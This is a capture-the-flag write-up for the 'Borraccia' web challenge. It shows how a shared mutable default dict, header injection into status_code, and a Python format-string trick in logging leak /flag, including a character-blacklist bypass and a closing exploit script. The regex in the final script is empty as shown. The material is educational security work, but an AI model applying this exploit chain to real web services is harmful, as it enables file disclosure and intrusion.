# TeamItaly CTF 2023
## [web] Borraccia (2 solves)
## OverviewIn this challenge we are given an application which uses a custom, poorly-written web framework, called `Borraccia` (Flask in italian).The challenge is tagged as a `misc`, so we probably need to use some Python shenanigans in order to solve the challenge.
The first thing that catches our attention is something called `ObjDict`, let's see how it's implemented and what it does:
```python
class ObjDict:    def __init__(self, d={}):        self.__dict__['_data'] = d # Avoiding Recursion errors on __getitem__
    def __getattr__(self, key):        if key in self._data:            return self._data[key]        return None
    def __contains__(self, key):        return key in self._data
    def __setattr__(self, key, value):        self._data[key] = value
    def __getitem__(self, key):        return self._data[key]
    def __setitem__(self, key, value):        self._data[key] = value
    def __delitem__(self, key):        del self._data[key]
    def __enter__(self, *args):        return self
    def __exit__(self, *args):        self.__dict__["_data"].clear()
    def __repr__(self):        return f"ObjDict object at <{hex(id(self))}>"
    def __iter__(self):        return iter(self._data)
```
Basically, this class works like an object in JavaScript:
```python
obj = ObjDict() # We can also use `with` operatorobj.first = 10obj.second = "20"
print(obj.first) # 10print(obj.second) # 20print(obj.third) # None
print(obj.secondobj.first) # Error
obj.secondobj = ObjDict()obj.secondobj.test = "yay"
print(obj.secondobj.test) # yay
```
At first glance this class would seem fine, but if you know at least the basics of Python, you can see that this class uses a [mutable object as default argument](https://florimond.dev/en/posts/2018/08/python-mutable-defaults-are-the-source-of-all-evil/)!
So, each and every instance of ObjDict shares the same dictionary!This will come in handy later...
## Read a file using status codes
We need to read the flag from /flag somehow, so there's probably a path traversal.
We can see three interesting functions: - `serve_file` - `serve_static_file` - `serve_error`
The first two functions are not used inside `server.py`, so the only function left is `serve_error`.
Inside `server.py`:
```pythonctx.response.body = utils.serve_error(ctx.response.status_code)```
If we can control the value of `status_code`, we can read arbitrary files.But... How?! Isn't `status_code` only modified by the server?
Let's see how the request/response is handled:```pyctx.response = ObjDict() ctx.request = ObjDict() ctx.response.status_code = 200 # Default value```
Oh! Did you see that? `ctx.response` and `ctx.request` shares the same dictionary!
We can overwrite values thanks to:```pythonfor probable_header in filter(None, rows[1:]): # Memorizing headers    if (cap:=HEADER_RE.search(probable_header)):        header = cap.group(1)        value = cap.group(2)
        h = utils.normalize_header(header)        v = utils.normalize_header_value(value)        ctx.request[h] = v ```
So, if we send a request with `status-code: /flag` the server will send the flag to us... Right?
Unfortunately no, let's take a look inside `request_handler`:
## Playing with string formatting
```pythontry:    utils.build_header(ctx) # Now the response is ready to be sent    utils.log(logging, f"[{curr}]\t{ctx.request.method}\t{ctx.response.status_code}\t{address[0]}", "DEBUG", ctx)        assert ctx.response.status_code in ERRORS or ctx.response.status_code == 200except AssertionError:    raise # Something unexpected happened, close conection immediatelyexcept Exception as e:     ctx.response.status_code = 500    ctx.response.header = ""    ctx.response.body = utils.serve_error(ctx.response.status_code) + utils.make_comment(f"{e}") # Something went wrong while building the header. 
client.send((ctx.response.header + ctx.response.body).encode())```
The flag will be loaded inside ctx.response.body but it will not be sent due to that `assert`, but if we're able to cause an exception (but not an AssertionError) with the flag inside, we can receive it.
The first error that came into my mind is, `KeyError`:
```pythontest = {}flag = "flag{fake}"try:    test[flag]except KeyError as e:    print(e) # 'flag{fake}'```
Let's see how `utils.log` is implemented:
```python
def log(log, s, mode="INFO", ctx=None):    {        "DEBUG": log.debug,        "INFO": log.info,        "ERROR": log.error    }[mode](s.format(ctx), {"mode": mode})
```
Do you see something SUSpicious? Of course you do. We can exploit `s.format` in order to force logging to cause an exception:
```pythondef log(log, s, mode="INFO", ctx=None):    {        "DEBUG": log.debug,        "INFO": log.info,        "ERROR": log.error    }[mode](s.format(ctx), {"mode": mode})
try:    log(logging, "%(flag{fake_flag})s")except Exception as e:    print(e) # flag{fake_flag}
```
We can send a similar header in order to get the flag:
```status-code: %({0[response][body]})s```
But this is not going to work, there's a blacklist:
```python@lru_cachedef normalize_header_value(s: str) -> str:    return re.sub(r"[%\"\.\n\'\!:\(\)]", "", s)```
So we can't use the following characters: `%".\n'!:()`
Since the blacklist is applied only to headers, we can bypass this by e.g putting those blacklisted characters inside request.params.
## Exploit
```pythonimport reimport requests
r = requests.get("http://borraccia.challs.teamitaly.eu?a=%(&b=)s",            headers={                    "status-code": "/flag",                    "method": "{0[request][params][a]}{0[response][body]}{0[request][params][b]}"            })
print("FLAG:", re.search(r"", r.text).group(1))
```
## Flag
`flag{4Ss3r7_3v3ry7h1nG!1!1!}`